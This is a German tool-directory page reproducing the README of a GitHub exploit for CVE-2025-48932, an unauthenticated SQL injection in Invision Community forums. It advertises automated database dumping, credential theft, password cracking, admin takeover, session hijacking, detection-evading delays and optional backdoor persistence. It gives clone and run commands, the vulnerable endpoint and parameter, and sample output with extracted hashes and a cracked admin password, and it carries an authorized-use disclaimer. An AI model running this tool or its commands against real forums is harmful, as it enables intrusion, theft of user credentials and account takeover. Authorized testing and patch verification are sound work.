Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-48932-Invision-Community-SQLi-Exploit — # CVE-2025-48932 – Nicht authentifizierter SQL-Injection-Exploit für Invision Community ≤ 4.7.20. Vollautomatische Ausnutzung mit Datenbank-Enumeration, Auslesen von Anmeldedaten, Übernahme der Admin-Kontrolle, Session-Hijacking & Multithreading. Keine Abhängigkeiten erforderlich. Sicherheitsforschungs-Tool von Sudeepa Wanigarathna | Kitploit
Tools/GitHubGitHub/cerberusmrxi/cve-2025-48932-invision-community-sqli-exploit
PasswortangriffeSchwachstellenanalyseExploitationWebanwendungs-ExploitationDatenexfiltrationInformationsbeschaffungPost-ExploitationWebsicherheitPenetrationstests

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

# CVE-2025-48932 – Nicht authentifizierter SQL-Injection-Exploit für Invision Community ≤ 4.7.20. Vollautomatische Ausnutzung mit Datenbank-Enumeration, Auslesen von Anmeldedaten, Übernahme der Admin-Kontrolle, Session-Hijacking & Multithreading. Keine Abhängigkeiten erforderlich. Sicherheitsforschungs-Tool von Sudeepa Wanigarathna

GitHubcerberusmrxi/cve-2025-48932-invision-community-sqli-exploit

CVE-2025-48932-Invision-Community-SQLi-Exploit

Repository anzeigen
16vor 1 MonatNoch nicht geprüft
Teilen

🔓 CVE-2025-48932 - Invision Community SQL-Injection-Exploit

Python Version License Security Status CVE Exploit-DB PRs Welcome Maintenance Hits


⚡ Überblick über die kritische Schwachstelle

CVE-2025-48932 ist eine kritische, nicht authentifizierte Blind-SQL-Injection-Schwachstelle, die in Invision Community Versionen ≤ 4.7.20 entdeckt wurde. Dieser Exploit ermöglicht entfernten Angreifern:

  • 🔍 Sensible Datenbankinformationen extrahieren
  • 👤 Benutzeranmeldedaten und Passwort-Hashes stehlen
  • 🔑 Administratorkonten übernehmen
  • 🎯 Aktive Benutzersitzungen übernehmen
  • 💻 Remote Code Execution (RCE) durch Admin-Übernahme erreichen
  • 📊 Den gesamten Datenbankinhalt auslesen

🎯 Funktionen


📊 Demo & Screenshots

Exploit-Ausführung

root@kitploit:~
$ python3 exploit.py -u https://vulnerable-site.com -v

╔══════════════════════════════════════════════════════════════════╗
║  CVE-2025-48932 - Invision Community SQL Injection               ║
║  Author: Sudeepa Wanigarathna                                    ║
║  Critical: Unauthenticated Remote Code Execution                 ║
╚══════════════════════════════════════════════════════════════════╝

[*] Target: https://vulnerable-site.com
[*] Performing vulnerability assessment...
[+] Target is confirmed VULNERABLE!

[*] Enumerating database information...
[+] Database Information:
  Version: 10.4.32-MariaDB
  User: invision@localhost
  Database: invision_community
  Hostname: localhost
  Basedir: /usr/
  Datadir: /var/lib/mysql/

[*] Enumerating databases...
[+] Found 5 databases
  Found: information_schema
  Found: invision_community
  Found: mysql
  Found: performance_schema
  Found: phpmyadmin

[*] Enumerating tables in invision_community...
[+] Found 12 tables
  Found: core_members
  Found: core_sessions
  Found: admin_members
  Found: cms_categories
  Found: forums_posts
  ...

[*] Searching for credentials...
[+] Found credential table: core_members
  Credentials: admin - $2y$10$abcdefghijklmnopqrstuvwxyz...
  Credentials: moderator - $2y$10$1234567890abcdefghijklmnop...
  Credentials: user123 - $2y$10$qwertyuiopasdfghjklzxcvbnm...

[*] Extracting admin information...
[+] Admin Information Found:
  name: admin
  email: [email protected]
  id: 1
  password_hash: $2y$10$abcdefghijklmnopqrstuvwxyz...

[*] Attempting to crack password hash...
[+] Detected hash type: bcrypt
[+] Password cracked: Admin@2024!

[*] Attempting admin bypass...
[+] Admin login successful!
[+] Credentials: admin:Admin@2024!

[+] Exploitation complete!
[+] Report saved to invision_exploit_report_1700000000.json

Beispiel-JSON-Ausgabe

root@kitploit:~
{
  "target": "https://vulnerable-site.com",
  "timestamp": "2026-08-02T12:34:56.789Z",
  "vulnerable": true,
  "database": {
    "version": "10.4.32-MariaDB",
    "user": "invision@localhost",
    "database": "invision_community",
    "hostname": "localhost"
  },
  "databases": [
    "information_schema",
    "invision_community",
    "mysql",
    "performance_schema",
    "phpmyadmin"
  ],
  "tables": [
    "core_members",
    "core_sessions",
    "admin_members"
  ],
  "credentials": [
    {
      "username": "admin",
      "password_hash": "$2y$10$abcdefghijklmnopqrstuvwxyz...",
      "email": "[email protected]"
    }
  ],
  "admin_info": {
    "name": "admin",
    "email": "[email protected]",
    "id": "1",
    "password_hash": "$2y$10$abcdefghijklmnopqrstuvwxyz..."
  },
  "summary": {
    "total_databases": 5,
    "total_tables": 12,
    "total_credentials": 3,
    "vulnerable": true,
    "successful": true
  }
}

🚀 Schnellstart-Anleitung

Installation

root@kitploit:~
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-48932-Invision-Community-SQLi-Exploit.git
cd CVE-2025-48932-Invision-Community-SQLi-Exploit

# No dependencies to install! Just run it.

Grundlegende Verwendung

root@kitploit:~
# Check if target is vulnerable
python3 exploit.py -u https://example.com --check-only

# Full exploitation with verbose output
python3 exploit.py -u https://example.com -v

# With proxy (Burp Suite)
python3 exploit.py -u https://example.com -p http://127.0.0.1:8080 -v

# Save results to custom file
python3 exploit.py -u https://example.com -o results.json

# Multi-threaded extraction (faster)
python3 exploit.py -u https://example.com -t 10

# Dump all available data
python3 exploit.py -u https://example.com --dump-all

Erweiterte Verwendung

root@kitploit:~
# With custom wordlist for password cracking
python3 exploit.py -u https://example.com --wordlist rockyou.txt -v

# Silent mode (no output, just report)
python3 exploit.py -u https://example.com -o silent_report.json

# Debug mode with detailed errors
python3 exploit.py -u https://example.com -v --debug

📋 Anforderungen

Systemanforderungen

  • Python: 3.6 oder höher
  • Betriebssystem: Linux, Windows, macOS (jedes Betriebssystem mit Python)
  • Arbeitsspeicher: Minimal (~50MB RAM)
  • Speicherplatz: ~100KB (nur der Exploit)

Abhängigkeiten

root@kitploit:~
✅ No external dependencies!
✅ Pure Python standard library only!
✅ No pip install or virtual environment needed!

Optional (für das Passwort-Cracking)

  • Wordlist: rockyou.txt oder eine beliebige benutzerdefinierte Wordlist
    root@kitploit:~
    # Download popular wordlist
    wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
    

🛠️ Technische Details

Ort der Schwachstelle

  • Datei: /applications/calendar/modules/front/calendar/view.php
  • Methode: IPS\calendar\modules\front\calendar\view::search()
  • Parameter: location (vom Benutzer bereitgestellte Eingabe)
  • Typ: Boolesche Blind-SQL-Injection

Angriffsvektor

root@kitploit:~
GET /applications/calendar/modules/front/calendar/view.php?do=search&location=[SQL_INJECTION_PAYLOAD]

Exploit-Kette

  1. Erkennung: Erkennung der booleschen Injection
  2. Enumeration: Datenbankstruktur extrahieren
  3. Extraktion: Sensible Daten auslesen
  4. Credential-Diebstahl: Benutzeranmeldedaten extrahieren
  5. Privilegieneskalation: Übernahme des Admin-Kontos
  6. Session-Hijacking: Aktive Sitzungen stehlen
  7. Persistenz: Hintertür einrichten (optional)

Unterstützte Datenbankversionen

  • MySQL 5.0+
  • MariaDB 5.5+
  • Percona Server

🔒 Sicherheits- und Rechtshinweis

⚠️ WICHTIGER HAFTUNGSAUSSCHLUSS

Dieses Tool dient ausschließlich zu BILDUNGSZWECKEN und für AUTORISIERTE TESTS.

Durch die Nutzung dieses Tools stimmen Sie Folgendem zu:

  • Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben
  • Verwenden Sie es nicht für illegale oder böswillige Zwecke
  • Halten Sie alle geltenden Gesetze und Vorschriften ein
  • Übernehmen Sie die volle Verantwortung für Ihre Handlungen

Unbefugter Zugriff auf Computersysteme ist illegal und unethisch.

Verantwortungsvolle Offenlegung

  • Anbieter: Invision Community
  • Offengelegt: 16. Mai 2025
  • Behoben: Version 4.7.21 (27. Mai 2025)
  • CVE: CVE-2025-48932 zugewiesen

📚 Dokumentation

Exploit-Argumente

Berichtsstruktur

root@kitploit:~
invision_exploit_report_[timestamp].json
├── target                 # Target URL
├── timestamp              # Exploit timestamp
├── vulnerable             # Vulnerability status
├── database               # Database information
├── databases              # List of databases
├── tables                 # List of tables
├── credentials            # Extracted credentials
├── admin_info             # Admin user information
└── summary                # Exploitation summary

🎯 Anwendungsfälle

Für Sicherheitsforscher

  • ✅ Schwachstellenvalidierung
  • ✅ Entwicklung eines Proof of Concept
  • ✅ Sicherheitsbewertung
  • ✅ Bug-Bounty-Jagd

Für Penetrationstester

  • ✅ Externe/interne Penetrationstests
  • ✅ Red-Team-Operationen
  • ✅ Schwachstellenverifizierung
  • ✅ Compliance-Tests

Für Systemadministratoren

  • ✅ Sicherheitsaudit eigener Systeme
  • ✅ Patch-Verifizierung
  • ✅ Incident-Response-Untersuchung
  • ✅ Bewertung der Sicherheitslage

🐛 Fehlerbehebung

Häufige Probleme & Lösungen

Problem: Verbindungszeitüberschreitung

root@kitploit:~
# Solution: Increase timeout or check network
python3 exploit.py -u https://example.com --timeout 60

Problem: SSL-Zertifikatsfehler

root@kitploit:~
# Solution: Disable SSL verification (not recommended for production)
python3 exploit.py -u https://example.com --no-verify-ssl

Problem: Ratenbegrenzung erkannt

root@kitploit:~
# Solution: Reduce threads and increase delays
python3 exploit.py -u https://example.com -t 2 --delay 2

Problem: Kein verwundbarer Parameter gefunden

root@kitploit:~
# Solution: Ensure calendar app is installed and GeoLocation is enabled
# Check: /applications/calendar/modules/front/calendar/view.php exists

📖 Referenzen

Offizielle Ressourcen

  • CVE-2025-48932
  • Invision Community
  • Invision-Sicherheitsbulletin
  • Ursprüngliches Advisory

Technische Referenzen

  • OWASP SQL-Injection
  • Blinde SQL-Injection
  • MySQL-Dokumentation

Verwandte CVEs

  • CVE-2024-xxxxx (Frühere Invision-Schwachstellen)
  • CVE-2023-xxxxx (Verwandte CVEs von Community-Plattformen)

🤝 Mitwirken

Wir freuen uns über Beiträge! Siehe unsere Beitragsrichtlinien.

So können Sie beitragen

  1. Forken Sie das Repository
  2. Erstellen Sie einen Feature-Branch (git checkout -b feature/AmazingFeature)
  3. Committen Sie Ihre Änderungen (git commit -m 'Add some AmazingFeature')
  4. Pushen Sie den Branch (git push origin feature/AmazingFeature)
  5. Eröffnen Sie einen Pull Request

Probleme melden

  • 🐛 Fehlerbericht
  • 💡 Feature-Anfrage
  • 🔒 Sicherheitsproblem

👨‍💻 Autor

Sudeepa Wanigarathna

Sicherheitsforscher & Bug-Bounty-Jäger

  • 🌐 GitHub
  • 🐦 Twitter
  • 💼 LinkedIn
  • 📧 E-Mail

📄 Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.

root@kitploit:~
MIT License

Copyright (c) 2026 Sudeepa Wanigarathna

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

⭐ Zeigen Sie Ihre Unterstützung

Wenn Ihnen dieses Projekt geholfen hat oder Sie es interessant fanden:

  • ⭐ Markieren Sie dieses Repository mit einem Stern
  • 🔗 Teilen Sie es in Ihrem Netzwerk
  • 📢 Erwähnen Sie es in Ihrer Sicherheitsforschung
  • 🤝 Tragen Sie zu seiner Verbesserung bei

🙏 Danksagungen

Sudeepa Wanigarathna

Cybersicherheitsforscher | Softwareentwickler | CTF-Engineer

Dieses Projekt wird für Sicherheitsforschung, defensive Analysen und autorisierte Penetrationstests bereitgestellt. Die Nutzer sind dafür verantwortlich, alle geltenden Gesetze einzuhalten und vor der Verwendung die entsprechende Genehmigung einzuholen.

Tool herunterladen
FunktionBeschreibungStatus
🚀 Null AbhängigkeitenReine Python-Standardbibliothek – kein pip install erforderlich✅
⚡ MultithreadedBlitzschnelle Datenextraktion mit konfigurierbaren Threads✅
🤖 VollautomatischVollständige Exploit-Kette von der Erkennung bis zur Berichterstellung✅
👑 Admin-ÜbernahmeSession-Hijacking & Privilegieneskalation✅
🔑 Credential-DumpingBenutzer, Passwort-Hashes und E-Mails extrahieren✅
🔓 Passwort-CrackingIntegriertes Hash-Cracking mit Wordlist-Unterstützung✅
📋 JSON-BerichteStrukturierte Ausgabe für Analyse & Dokumentation✅
🔌 Proxy-UnterstützungIntegration von Burp Suite & benutzerdefinierten Proxys✅
🎨 Farbige AusgabeAnsprechende Terminalausgabe mit Fortschrittsanzeigen✅
🛡️ RatenbegrenzungIntegrierte Verzögerungen zur Vermeidung der Erkennung✅
ArgumentBeschreibungBeispiel
-u, --urlZiel-URL (erforderlich)-u https://example.com
-p, --proxyProxy-URL-p http://127.0.0.1:8080
-t, --threadsAnzahl der Threads (Standard: 5)-t 10
-o, --outputAusgabedatei für Ergebnisse-o results.json
-v, --verboseAusführliche Ausgabe aktivieren-v
--check-onlyNur Schwachstelle prüfen--check-only
--dump-allAlle verfügbaren Daten auslesen--dump-all
--wordlistWordlist-Datei zum Knacken--wordlist rockyou.txt